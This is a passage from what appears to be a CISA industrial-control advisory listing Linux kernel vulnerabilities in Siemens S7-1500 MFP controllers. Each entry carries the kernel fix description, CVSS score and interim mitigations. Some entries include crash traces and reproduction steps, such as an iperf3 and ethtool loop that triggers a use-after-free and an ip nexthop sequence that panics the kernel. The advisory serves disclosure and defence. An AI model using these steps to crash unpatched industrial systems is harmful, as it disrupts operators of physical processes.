<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23290</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: pegasus: validate USB endpoints The pegasus driver should validate that the device it is probing has the proper number and types of USB endpoints it is expecting before it binds to it. If a malicious device were to not have the same urbs the driver will crash later on when it blindly accesses these endpoints.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23290">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23293</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: vxlan: fix nd_tbl NULL dereference when IPv6 is disabled When booting with the 'ipv6.disable=1' parameter, the nd_tbl is never initialized because inet6_init() exits before ndisc_init() is called which initializes it. If an IPv6 packet is injected into the interface, route_shortcircuit() is called and a NULL pointer dereference happens on neigh_lookup(). BUG: kernel NULL pointer dereference, address: 0000000000000380 Oops: Oops: 0000 [#1] SMP NOPTI [...] RIP: 0010:neigh_lookup+0x20/0x270 [...] Call Trace: vxlan_xmit+0x638/0x1ef0 [vxlan] dev_hard_start_xmit+0x9e/0x2e0 __dev_queue_xmit+0xbee/0x14e0 packet_sendmsg+0x116f/0x1930 __sys_sendto+0x1f5/0x200 __x64_sys_sendto+0x24/0x30 do_syscall_64+0x12f/0x1590 entry_SYSCALL_64_after_hwframe+0x76/0x7e Fix this by adding an early check on route_shortcircuit() when protocol is ETH_P_IPV6. Note that ipv6_mod_enabled() cannot be used here because VXLAN can be built-in even when IPv6 is built as a module.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23293">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23300</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ipv6: fix panic when IPv4 route references loopback IPv6 nexthop When a standalone IPv6 nexthop object is created with a loopback device (e.g., "ip -6 nexthop add id 100 dev lo"), fib6_nh_init() misclassifies it as a reject route. This is because nexthop objects have no destination prefix (fc_dst=::), causing fib6_is_reject() to match any loopback nexthop. The reject path skips fib_nh_common_init(), leaving nhc_pcpu_rth_output unallocated. If an IPv4 route later references this nexthop, __mkroute_output() dereferences NULL nhc_pcpu_rth_output and panics. Simplify the check in fib6_nh_init() to only match explicit reject routes (RTF_REJECT) instead of using fib6_is_reject(). The loopback promotion heuristic in fib6_is_reject() is handled separately by ip6_route_info_create_nh(). After this change, the three cases behave as follows: 1. Explicit reject route ("ip -6 route add unreachable 2001:db8::/64"): RTF_REJECT is set, enters reject path, skips fib_nh_common_init(). No behavior change. 2. Implicit loopback reject route ("ip -6 route add 2001:db8::/32 dev lo"): RTF_REJECT is not set, takes normal path, fib_nh_common_init() is called. ip6_route_info_create_nh() still promotes it to reject afterward. nhc_pcpu_rth_output is allocated but unused, which is harmless. 3. Standalone nexthop object ("ip -6 nexthop add id 100 dev lo"): RTF_REJECT is not set, takes normal path, fib_nh_common_init() is called. nhc_pcpu_rth_output is properly allocated, fixing the crash when IPv4 routes reference this nexthop.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23300">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23304</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: fix NULL pointer deref in ip6_rt_get_dev_rcu() l3mdev_master_dev_rcu() can return NULL when the slave device is being un-slaved from a VRF. All other callers deal with this, but we lost the fallback to loopback in ip6_rt_pcpu_alloc() -&gt; ip6_rt_get_dev_rcu() with commit 4832c30d5458 ("net: ipv6: put host and anycast routes on device with address"). KASAN: null-ptr-deref in range [0x0000000000000108-0x000000000000010f] RIP: 0010:ip6_rt_pcpu_alloc (net/ipv6/route.c:1418) Call Trace: ip6_pol_route (net/ipv6/route.c:2318) fib6_rule_lookup (net/ipv6/fib6_rules.c:115) ip6_route_output_flags (net/ipv6/route.c:2607) vrf_process_v6_outbound (drivers/net/vrf.c:437) I was tempted to rework the un-slaving code to clear the flag first and insert synchronize_rcu() before we remove the upper. But looks like the explicit fallback to loopback_dev is an established pattern. And I guess avoiding the synchronize_rcu() is nice, too.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23304">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23319</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix a UAF issue in bpf_trampoline_link_cgroup_shim The root cause of this bug is that when 'bpf_link_put' reduces the refcount of 'shim_link-&gt;link.link' to zero, the resource is considered released but may still be referenced via 'tr-&gt;progs_hlist' in 'cgroup_shim_find'. The actual cleanup of 'tr-&gt;progs_hlist' in 'bpf_shim_tramp_link_release' is deferred. During this window, another process can cause a use-after-free via 'bpf_trampoline_link_cgroup_shim'. Based on Martin KaFai Lau's suggestions, I have created a simple patch. To fix this: Add an atomic non-zero check in 'bpf_trampoline_link_cgroup_shim'. Only increment the refcount if it is not already zero. Testing: I verified the fix by adding a delay in 'bpf_shim_tramp_link_release' to make the bug easier to trigger: static void bpf_shim_tramp_link_release(struct bpf_link *link) { /* ... */ if (!shim_link-&gt;trampoline) return; + msleep(100); WARN_ON_ONCE(bpf_trampoline_unlink_prog(&amp;shim_link-&gt;link, shim_link-&gt;trampoline, NULL)); bpf_trampoline_put(shim_link-&gt;trampoline); } Before the patch, running a PoC easily reproduced the crash(almost 100%) with a call trace similar to KaiyanM's report. After the patch, the bug no longer occurs even after millions of iterations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23319">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23321</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: pm: in-kernel: always mark signal+subflow endp as used Syzkaller managed to find a combination of actions that was generating this warning: msk-&gt;pm.local_addr_used == 0 WARNING: net/mptcp/pm_kernel.c:1071 at __mark_subflow_endp_available net/mptcp/pm_kernel.c:1071 [inline], CPU#1: syz.2.17/961 WARNING: net/mptcp/pm_kernel.c:1071 at mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_kernel.c:1103 [inline], CPU#1: syz.2.17/961 WARNING: net/mptcp/pm_kernel.c:1071 at mptcp_pm_nl_del_addr_doit+0x81d/0x8f0 net/mptcp/pm_kernel.c:1210, CPU#1: syz.2.17/961 Modules linked in: CPU: 1 UID: 0 PID: 961 Comm: syz.2.17 Not tainted 6.19.0-08368-gfafda3b4b06b #22 PREEMPT(full) Hardware name: QEMU Ubuntu 25.10 PC v2 (i440FX + PIIX, + 10.1 machine, 1996), BIOS 1.17.0-debian-1.17.0-1build1 04/01/2014 RIP: 0010:__mark_subflow_endp_available net/mptcp/pm_kernel.c:1071 [inline] RIP: 0010:mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_kernel.c:1103 [inline] RIP: 0010:mptcp_pm_nl_del_addr_doit+0x81d/0x8f0 net/mptcp/pm_kernel.c:1210 Code: 89 c5 e8 46 30 6f fe e9 21 fd ff ff 49 83 ed 80 e8 38 30 6f fe 4c 89 ef be 03 00 00 00 e8 db 49 df fe eb ac e8 24 30 6f fe 90 &lt;0f&gt; 0b 90 e9 1d ff ff ff e8 16 30 6f fe eb 05 e8 0f 30 6f fe e8 9a RSP: 0018:ffffc90001663880 EFLAGS: 00010293 RAX: ffffffff82de1a6c RBX: 0000000000000000 RCX: ffff88800722b500 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff8880158b22d0 R08: 0000000000010425 R09: ffffffffffffffff R10: ffffffff82de18ba R11: 0000000000000000 R12: ffff88800641a640 R13: ffff8880158b1880 R14: ffff88801ec3c900 R15: ffff88800641a650 FS: 00005555722c3500(0000) GS:ffff8880f909d000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f66346e0f60 CR3: 000000001607c000 CR4: 0000000000350ef0 Call Trace: genl_family_rcv_msg_doit+0x117/0x180 net/netlink/genetlink.c:1115 genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0x3a8/0x3f0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x16d/0x240 net/netlink/af_netlink.c:2550 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x3e9/0x4c0 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x4aa/0x5b0 net/netlink/af_netlink.c:1894 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg+0xc9/0xf0 net/socket.c:742 ____sys_sendmsg+0x272/0x3b0 net/socket.c:2592 ___sys_sendmsg+0x2de/0x320 net/socket.c:2646 __sys_sendmsg net/socket.c:2678 [inline] __do_sys_sendmsg net/socket.c:2683 [inline] __se_sys_sendmsg net/socket.c:2681 [inline] __x64_sys_sendmsg+0x110/0x1a0 net/socket.c:2681 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x143/0x440 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f66346f826d Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffc83d8bdc8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f6634985fa0 RCX: 00007f66346f826d RDX: 00000000040000b0 RSI: 0000200000000740 RDI: 0000000000000007 RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007f6634985fa8 R13: 00007f6634985fac R14: 0000000000000000 R15: 0000000000001770 The actions that caused that seem to be: - Set the MPTCP subflows limit to 0 - Create an MPTCP endpoint with both the 'signal' and 'subflow' flags - Create a new MPTCP connection from a different address: an ADD_ADDR linked to the MPTCP endpoint will be sent ('signal' flag), but no subflows is initiated ('subflow' flag) - Remove the MPTCP endpoint ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23321">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23335</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Fix kernel stack leak in irdma_create_user_ah() struct irdma_create_ah_resp { // 8 bytes, no padding __u32 ah_id; // offset 0 - SET (uresp.ah_id = ah-&gt;sc_ah.ah_info.ah_idx) __u8 rsvd[4]; // offset 4 - NEVER SET &lt;- LEAK }; rsvd[4]: 4 bytes of stack memory leaked unconditionally. Only ah_id is assigned before ib_respond_udata(). The reserved members of the structure were not zeroed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23335">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23340</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sched: avoid qdisc_reset_all_tx_gt() vs dequeue race for lockless qdiscs When shrinking the number of real tx queues, netif_set_real_num_tx_queues() calls qdisc_reset_all_tx_gt() to flush qdiscs for queues which will no longer be used. qdisc_reset_all_tx_gt() currently serializes qdisc_reset() with qdisc_lock(). However, for lockless qdiscs, the dequeue path is serialized by qdisc_run_begin/end() using qdisc-&gt;seqlock instead, so qdisc_reset() can run concurrently with __qdisc_run() and free skbs while they are still being dequeued, leading to UAF. This can easily be reproduced on e.g. virtio-net by imposing heavy traffic while frequently changing the number of queue pairs: iperf3 -ub0 -c $peer -t 0 &amp; while :; do ethtool -L eth0 combined 1 ethtool -L eth0 combined 2 done With KASAN enabled, this leads to reports like: BUG: KASAN: slab-use-after-free in __qdisc_run+0x133f/0x1760 ... Call Trace: ... __qdisc_run+0x133f/0x1760 __dev_queue_xmit+0x248f/0x3550 ip_finish_output2+0xa42/0x2110 ip_output+0x1a7/0x410 ip_send_skb+0x2e6/0x480 udp_send_skb+0xb0a/0x1590 udp_sendmsg+0x13c9/0x1fc0 ... Allocated by task 1270 on cpu 5 at 44.558414s: ... alloc_skb_with_frags+0x84/0x7c0 sock_alloc_send_pskb+0x69a/0x830 __ip_append_data+0x1b86/0x48c0 ip_make_skb+0x1e8/0x2b0 udp_sendmsg+0x13a6/0x1fc0 ... Freed by task 1306 on cpu 3 at 44.558445s: ... kmem_cache_free+0x117/0x5e0 